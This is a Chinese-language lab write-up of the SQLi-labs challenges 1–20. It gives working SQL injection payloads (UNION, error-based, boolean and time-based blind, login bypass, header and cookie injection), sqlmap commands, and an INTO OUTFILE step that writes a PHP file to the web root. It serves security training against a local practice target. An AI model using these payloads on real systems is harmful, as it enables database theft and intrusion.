SQLI labs 靶场笔记之基础挑战 1-20 关

常见注入流程

联合查询注入

?id=1'
?id=1' order by 3 --+
?id=1' order by 4 --+
?id=-1' union select 1,user(),version() --+
?id=-1' union select 1,database(),version() --+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
?id=-1' union select 1,2,(select group_concat(username,':',password+SEPARATOR+0x3c62723e) from users) --+

报错注入

手动修改 LIMIT 0,1 来进行结果偏移

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1)--+ 
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),0x7e),1)--+ 
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 1,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)--+

布尔盲注

数据库第一个字母为 s

?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)>'s'--+
?id=1' and left(database(),2)>'sd'--+
?id=1' and left(database(),2)>'se'--+
...

延时盲注

数据库第一个字母的 ascii 码为 115,即s

利用if(条件,0,1)函数,当条件为真,返回0,假则返回1

?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),2,1))>100,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),2,1))>101,1,sleep(5))--+
...

sqlmap

联合查询注入

sqlmap -u "http://sqli.pl/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

报错注入

sqlmap -u "http://sqli.pl/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

布尔盲注

sqlmap -u "http://sqli.pl/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

延时盲注

sqlmap -u "http://sqli.pl/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

基础挑战 1-20 关

Less-1

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id='$id'

源码简单分析

# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());

联合查询注入

?id=1'
?id=1' order by 3 --+
?id=1' order by 4 --+
?id=-1' union select 1,user(),version() --+
?id=-1' union select 1,database(),version() --+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
?id=-1' union select 1,2,(select group_concat(username,':',password+SEPARATOR+0x3c62723e) from users) --+

Less-2

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=$id

源码简单分析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

和 Less-1 利用方式一致,只是闭合方式不一样而已

?id=1
?id=1 order by 3 --+
?id=1 order by 4 --+
?id=-1 union select 1,user(),version() --+
?id=-1 union select 1,database(),version() --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
?id=-1 union select 1,2,(select group_concat(username,':',password+SEPARATOR+0x3c62723e) from users) --+

Less-3

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=('$id')

源码简单分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

和 Less-1 利用方式一致,只是闭合方式不一样而已。

?id=1')
?id=1') order by 3 --+
?id=1') order by 4 --+
?id=-1') union select 1,user(),version() --+
?id=-1') union select 1,database(),version() --+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
?id=-1') union select 1,2,(select group_concat(username,':',password+SEPARATOR+0x3c62723e) from users) --+

Less-4

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=("$id")

源码简单分析

# 先双引号 在括号拼接
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());
?id=1")
?id=1") order by 3 --+
?id=1") order by 4 --+
?id=-1") union select 1,user(),version() --+
?id=-1") union select 1,database(),version() --+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
?id=-1") union select 1,2,(select group_concat(username,':',password+SEPARATOR+0x3c62723e) from users) --+

Less-5

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注id='$id'

源码简单分析

# 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持报错、布尔盲注、延时盲注
if true:
    输出 You are in...........
else:
    print_r(mysql_error());

因为不输出查询的结果,这就导致不可以使用联合查询的注入方式,但是并不影响正常使用报错、布尔盲注和延时盲注,除了不能联合查询注入,其他和 Less-1 利用方式一致。

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1)--+ 
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),0x7e),1)--+ 
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 1,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)--+

Less-6

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注id="$id"

和 Less-5 利用方式一致,只是闭合方式不一样,这里不再啰嗦了。

Less-7

请求方式注入类型拼接方式
GET布尔盲注、延时盲注id=(('$id'))

源码简单分析

# 使用单引号加双层括号拼接
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

# 支持布尔盲注、延时盲注
if true:
    输出 You are in.... Use outfile......
else:
    输出 You have an error in your SQL syntax
  //print_r(mysql_error());

因为这里把print_r(mysql_error());给注释掉了,所以就不可以使用报错注入了,这个时候只能使用布尔盲注和延时盲注,可以尝试手工验证一下然后放到 sqlmap 里面来跑。

因为这一关作者很明显地提示了如下信息:

You are in.... Use outfile......

所以我们就来配合一下作者,使用 outfile 导出到文件来查询数据,默认 outfile 是没有开启的,得手动开启一下

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_file_priv         | NULL  |
+--------------------------+-------+
2 rows in set, 1 warning (0.02 sec)
  • secure_file_priv的值为 null ,表示限制 mysqld 不允许导入|导出
  • 当secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv 的值为 时,表示不对 mysqld 的导入|导出做限制

在mysql.ini里添加"secure_file_priv='',保存,重启mysql

一般我们将这个信息导出到网站的根目录下,所以需要知道网站的物理路径信息,因为这里是靶机,所有这里就直接导出到网站根目录下看看:

?id=1')) union select * from security.users into outfile "D:/phpstudy_pro/WWW/sqli.pl/Less-7/users.txt"--+ 

users.txt内容

1	Dumb	Dumb
2	Angelina	I-kill-you
3	Dummy	p@ssword
4	secure	crappy
5	stupid	stupidity
6	superman	genious
7	batman	mob!le
8	admin	admin
9	admin1	admin1
10	admin2	admin2
11	admin3	admin3
12	dhakkan	dumbo
14	admin4	admin4

一般情况看下可以往 Web 目录写文件的时候,直接写 shell 效率会更高:

?id=1')) union select 1,2,'<?php phpinfo();?>' into outfile "D:/phpstudy_pro/WWW/sqli.pl/Less-7/info.php"--+ 

访问对应的 URL 看看是否解析了呢:

img

Less-8

请求方式注入类型拼接方式
GET布尔盲注、延时盲注id='$id'

和 Less-7 注入方式一致,只是拼接方式不一样

?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)>'s'--+
?id=1' and left(database(),2)>'sd'--+
?id=1' and left(database(),2)>'se'--+
...

Less-9

请求方式注入类型拼接方式
GET延时盲注id='$id'

和 Less-7 注入方式一致,只是拼接方式不一样

源码简单分析

# 使用单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持延时盲注
if true:
    输出 You are in............
else:
    输出 You are in...........

从源码中可以看到 if else 都输出的是 You are in……….. 这样就不能通过布尔盲注来进行注入了,只能用最慢的延时注入.

?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),2,1))>100,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),2,1))>101,1,sleep(5))--+
...

Less-10

请求方式注入类型拼接方式
GET延时盲注id="$id"

源码简单分析

# 先使用双引号再直接拼接
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

# 支持延时盲注
if true:
    输出 You are in............
else:
    输出 You are in...........

和 Less-9 利用方式一样,只是拼接方式不一样,具体可以参考 Less-9

Less-11

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username='x'

源码简单分析

# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

# 使用单引号拼接 SQL
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

if true:
    输出查询的信息
else:
    print_r(mysql_error());

和 Less-1 的利用方式相同,只是由 GET 型变成 POST 型。

万能密码

这里拿 admin 用户来模拟登录测试,首先查询出 admin 的用户信息如下:

mysql> select * from users where username = 'admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  8 | admin    | admin    |
+----+----------+----------+

因为核心的 SQL 语句只使用单引号拼接,这里就是一个经典的万能密码漏洞,可以使用如下 Payload 来登录系统:

# 注释掉 passwd 来登录
uname=admin' or 1=1#&passwd=&submit=Submit
uname=admin'#&passwd=&submit=Submit

# 注释后面语句 并 添加一个永真条件
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit

# 闭合后面语句 并 添加一个永真条件
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit

POST 数据里面不能有 +,这里得手动转换为空格

Less-12

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=("x")

和 Less-11 的利用方式一样,只是 SQL 拼接方式不同,这里就不再啰嗦了。

Less-13

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注username=('x')

简单源码分析

# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

# 使用单引号和括号来拼接 SQL
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

if true:
    并没有输出啥信息
else:
    print_r(mysql_error());

因为没有输出查询后的信息的原因,所以相对于 Less-11 和 Less-12 来说就少了 联合查询的注入方式,其他还是换汤不换药,这里就不再赘述了。

Less-14

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注username="x"

简单源码分析

# 先使用 双引号 再直接带入 SQL 语句
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

和 Less-13 异曲同工,只是拼接方式不一样,我们换对应的闭合方式即可进行注入。

Less-15

请求方式注入类型拼接方式
POST布尔盲注、延时盲注username='x'

源码中注释掉了 MySQL 的报错日志,所以这里就不可以进行报错注入了,只能使用布尔盲注或者延时盲注。

这里不再做重复无意义的记录了。

Less-16

请求方式注入类型拼接方式
POST布尔盲注、延时盲注username=("x")

和 Less-15 注入类型一致,更换对应的闭合方式即可。

Less-17

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注password = '$passwd'

简单源码分析:

# uname 参数被过滤了
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

# SELECT 语句只获取了 uname 参数 但是被过滤了 没戏
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

if select 结果正确:
    # 更新语句 使用单引号拼接 passwd
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

    if mysql 报错:
            print_r(mysql_error());

从源码中可以分享唯一的注入点是在 update 语句里面,只使用了单引号拼接。因为操作正确并没有啥提示,所以不能使用联合查询注入,因为输出了报错日志,所以还可以进行报错注入,那么下面就演示一下报错注入吧:

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&submit=Submit

Less-18

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注VALUES ('$uagent')

简单源码分析:

# 获取请求的 uagent 和 ip 地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

if 输入了uname 和 passwd:
    # 对这两个参数进行过滤
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

    if SQL语句有返回结果:
        # 执行 insert 语句 这里 uagent 和 ip_address 通过单引号拼接 并且 没有过滤
        $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            输出 $uagent;
        print_r(mysql_error());
    else:
        print_r(mysql_error());

这个代码漏洞点出在了 insert 语句,这里没有对 uagent 和 ip_address 进行过滤,并且输出了 mysql 的报错信息,所以本关支持 报错注入、布尔盲注和延时盲注。

PHP 里用来获取客户端 IP 的变量

  • $_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。
  • $_SERVER['HTTP_X_FORWARDED_FOR'],客户端可以伪造。
  • $_SERVER['REMOTE_ADDR'],客户端不能伪造。

所以这里的 IP 是无法被伪造的,这里只能通过修改 user-agent 来进行注入,考虑到 insert 语句的特殊性,这里使用闭合方式来闭合掉后面的语句,因为输出了 mysql 报错日志了,这里尝试报错注入效率会更高一点:

首先这里要输入正确的账号和密码才能绕过账号密码判断,才能进入处理uagent部分

POST /Less-18/ HTTP/1.1
Host: sqli.pl
User-Agent: 1' and updatexml(1,concat(0x7e,(select username from users limit 1,1),0x7e),1) and '1'='1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://sqli.pl/Less-18/
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

uname=admin&passwd=0&submit=Submit

img

Less-19

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注VALUES ('$uagent')

简单源码分析:

# 获取请求的 referer 和 ip 地址
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];

if 输入了uname 和 passwd:
    # uname 和 passwd 参数均被过滤
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

    if SQL语句有返回结果:
        # 单引号拼接后直接带入 insert 语句
        $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
        输出 $_SERVER['HTTP_REFERER']
        print_r(mysql_error());    
    else:
        print_r(mysql_error());

本关和 Less-18 异曲同工,只是这里的漏洞点出在了 referer 里面,其他利用方式基本上也是一毛一样,所以下面直接上 payload 演示吧:

POST /Less-19/ HTTP/1.1
Host: sqli.pl
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: 1' and updatexml(1,concat(0x7e,(select username from users limit 1,1),0x7e),1) and '1'='1
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

uname=admin&passwd=0&submit=Submit

img

Less-20

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username='$cookee'

简单源码分析:

<?php
if cookie 中不存在 uname 参数:  
    输出了一堆无用的信息
    if 提交了 uname 和 passwd:
        # 进行过滤
        $uname = check_input($_POST['uname']);
        $passwd = check_input($_POST['passwd']);

        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $cookee = $row1['username'];
        if 有查询结果:
            # 将 uname 的值设置给 cookie 里面的 uname 参数
            setcookie('uname', $cookee, time()+3600);
        else:
            print_r(mysql_error());

else:
    if POST 数据里面没有 submit 参数:
        $cookee = $_COOKIE['uname'];

        # 直接将 cookee 通过单引号拼接到 SQL 语句中
        $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
        if 查询无结果:
            输出 mysql_error()
        if 有结果:
            输出查询的信息
    else:
        # 将 uname 的值设置给 cookie 里面的 uname 参数
        setcookie('uname', $row1['username'], time()-3600);
?>

从源码中可以分析出 Less-20 要复杂一点,不过问题还是存在,从 cookie 中读取的 uname 参数值 并直接拼接到了 SQL 语句中了,这就导致了注入点的产生,并且还输出了查询信息,所以这里也是可以进行联合查询注入的。因为是基础关卡的最后一关

联合查询注入

GET /Less-20/ HTTP/1.1
Host: sqli.pl
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=-admin' union select (select group_concat(username,':',password+SEPARATOR+0x3c62723e) from users),2,3#
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1

img

报错注入

GET /Less-20/ HTTP/1.1
Host: sqli.pl
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select username from users limit 1,1),0x7e),1)#
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1

img

盲注

布尔盲注和延时盲注也是 OK 的,但是实际上手工注入的效率并不如联合与报错注入,所以这里就不演示了。